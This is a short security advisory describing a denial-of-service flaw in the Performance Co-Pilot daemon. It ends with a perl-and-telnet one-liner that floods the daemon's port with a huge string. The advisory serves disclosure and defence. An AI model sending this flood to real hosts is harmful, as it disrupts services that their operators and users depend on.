source: https://www.securityfocus.com/bid/4642/info
Performance Co-Pilot (PCP) is a set of services to support system-level performance monitoring developed by SGI. It has traditionally been an IRIX product, however SGI has made it open source and it is now available for Linux systems.
A vulnerability exists in some versions of the PCP daemon. It is possible to cause a denial of service condition by sending the daemon a large string of arbitrary data.
% perl -e 'print " a" x 92834244,"\n";'' | telnet sgi.victim.com 4321